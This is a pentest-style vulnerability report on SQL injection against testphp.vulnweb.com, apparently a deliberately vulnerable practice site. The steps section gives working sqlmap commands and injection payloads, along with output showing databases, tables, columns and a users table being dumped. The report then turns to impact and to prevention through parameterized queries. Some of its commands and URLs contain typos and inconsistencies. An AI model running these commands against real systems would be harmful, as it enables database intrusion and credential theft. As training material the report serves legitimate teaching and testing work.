



## Table of Contents

---

1. Executive Summary	2
2. Description	3
3. Steps & Results	3
4. Impact and Risk	7
5. How to prevent SQL injection	7

## 1) Executive Summary

### Introduction

A vulnerability assessment is a systematic review of security weaknesses in an information system. It evaluates if the system is susceptible to any known vulnerabilities, assigns severity levels to those vulnerabilities, and recommends remediation or mitigation, if and whenever needed.

I have found security vulnerabilities on site <http://testphp.vulnweb.com> issue I found OWASP Top1 SQL Injection Which most top critical issue I found on your site. This grey box assessment was performed to identify loopholes in application from a security perspective



### Target Site

- <http://testphp.vulnweb.com>

## Description:

SQL injection is a code injection technique, used to attack data driven applications, in which malicious SQL statements are inserted into an entry field for execution (e.g. to dump the database contents to the attacker). SQL injection must exploit a security vulnerability in an application's software, for example, when user input is either incorrectly filtered for string literal escape characters embedded in SQL statements or user input is not strongly typed and unexpectedly executed.

## Steps & Results:

1. Visit <http://testphp.vulnweb.com/serach.php?test=query> here test= parameter is error based vulnerable for SQL injection

Now,

For checking SQL injection we basically used ' " + - - Here I change Parameter Value <https://cbl.iq/search?word=hello>" (Add ")

Now As response



Now In above picture we got sql syntax error that means attacker can take full advantage of it and the full database is compromised.

2. Now Then I use Sqlmap to extract data base of your website <http://testphp.vulnweb.com>

To determine the databases behind the web site then used this command on sqlmap terminal  
 sqlmap -u <http://testphp.vulnweb.com/serach.php?test=> --dbs (--dbs for DBMS databases)



### Result:

```
***
Parameter: test (GET)
  Type: time-based blind
  Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
  Payload: test=' AND (SELECT 1708 FROM (SELECT(SLEEP(5)))YqvD)-- wWZF

  Type: UNION query
  Title: Generic UNION query (NULL) - 3 columns
  Payload: test=' UNION ALL SELECT NULL,CONCAT(0x716b6b7171,0x44756b43545a4e7

***
[02:18:13] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Nginx 1.19.0, PHP 5.6.40
back-end DBMS: MySQL >= 5.0.12
[02:18:13] [INFO] fetching database names
available databases [2]:
[*] acuart
[*] information_schema
```

As above picture we successfully able to extract db name of your website DB  
acuart  
Information\_schema

3. Now retrieve all the tables which are present in database prob by using following command

sqlmap --url <http://testphp.vulnweb.com/serach.php?test=%27> -D acuart --tables

```
$sqlmap --url http://testphp.vulnweb.com/search.php?test=%27 -B acuart --tables

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obtain the proper authorization from the target owner. Users are advised to read the sqlmap legal disclaimer: http://sqlmap.org

[*] starting @ 05:40:55 /2020-12-28/

[05:40:57] [WARNING] it appears that you have provided tainted parameter values ('test=') with most likely leftover chars/statements. Please provide valid parameter values so sqlmap could be able to run properly.
are you really sure that you want to continue (sqlmap could have problems)? [y/N] y
[05:41:25] [INFO] resuming back-end DBMS 'mysql'
[05:41:25] [INFO] testing connection to the target URL
[05:41:26] [WARNING] there is a DBMS error found in the HTTP response body which could interfere with the results of the tests
sqlmap resumed the following injection point(s) from stored session:
```

```
File Edit View Search Terminal Help

Type: UNION query
Title: Generic UNION query (NULL) - 3 columns
Payload: test=' UNION ALL SELECT NULL,CONCAT(0x716b6b7171,0x44756b43545a4e71
6c6754676274637141477a50496c6c525a524b777571524c6b50624751777272,0x71786a7071),N
ULL-- uUpG
...
[05:41:26] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Nginx 1.19.0, PHP 5.6.40
back-end DBMS: MySQL >= 5.0.12
[05:41:26] [INFO] fetching tables for database: 'acuart'
Database: acuart
[8 tables]
+-----+
| artists |
| carts   |
| categ   |
| featured |
| guestbook |
| pictures |
| products |
| users   |
+-----+
```

As above pictures we retrieve all the tables inside your Database

4. Now, we want to gain more information about users table then type the following command

sqlmap --url <http://testphp.vulnweb.com/search.php?test=%27> -D acuart -T acuart --columns

## Result:

```

---
[05:58:35] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Nginx 1.19.0, PHP 5.6.40
back-end DBMS: MySQL >= 5.0.12
[05:58:35] [INFO] fetching columns for table 'users' in database 'acuart'
Database: acuart
Table: users
[8 columns]
+-----+-----+
| Column | Type |
+-----+-----+
| address | mediumtext |
| cart    | varchar(100) |
| cc      | varchar(100) |
| email   | varchar(100) |
| name    | varchar(100) |
| pass    | varchar(100) |
| phone   | varchar(100) |
| uname   | varchar(100) |
+-----+-----+

```

As above pic we retrieved User pass email phone address columns present in users table

5. Now, gain the attribute values such as “uname, pass, email, address” present in the table “users”

used command:

sqlmap --url <http://testphp.vulnweb.com/serach.php?test=%27> -D acuate -T users -C  
uname,pass,email,address --dump

## Result:

```

[06:08:10] [INFO] fetching entries of column(s) 'address, email, pass, uname' for table 'users' in database 'acuart'
Database: acuart
Table: users
[1 entry]
+-----+-----+-----+-----+
| uname | pass | email | address |
+-----+-----+-----+-----+
| test  | test | email@email.com | 21 street |
+-----+-----+-----+-----+

```

Here we successfully retrieved uname, password, email and address.

## Impact and Risk:

With no mitigating controls, SQL injection can leave the application at a high-risk of compromise resulting in an impact to the confidentiality, and integrity of data as well as authentication and authorization aspects of the application.

An adversary can steal sensitive information stored in databases used by vulnerable programs or applications such as user credentials, trade secrets, or transaction records. SQL injection vulnerabilities should never be left open; they must be fixed in all circumstances. If the authentication or authorization aspects of an application is affected an attacker may be able to login as any other user, such as an administrator which elevates their privileges.

## How to prevent SQL injection:

Most instances of SQL injection can be prevented by using parameterized queries (also known as prepared statements) instead of string concatenation within the query. The following code is vulnerable to SQL injection because the user input is concatenated directly into the query:

```
String query = "SELECT * FROM products WHERE category = '"+ input + "'";  
Statement statement = connection.createStatement();  
ResultSet resultSet = statement.executeQuery(query);
```

This code can be easily rewritten in a way that prevents the user input from interfering with the query structure:

```
PreparedStatement statement = connection.prepareStatement("SELECT * FROM products  
WHERE category = ?");  
statement.setString(1, input);  
ResultSet resultSet = statement.executeQuery();
```

Parameterized queries can be used for any situation where untrusted input appears as data within the query, including the WHERE clause and values in an INSERT or UPDATE statement. They can't be used to handle untrusted input in other parts of the query, such as table or column names, or the ORDER BY clause. Application functionality that places untrusted data into those parts of the query will need to take a different approach, such as white-listing permitted input values, or using different logic to deliver the required behavior.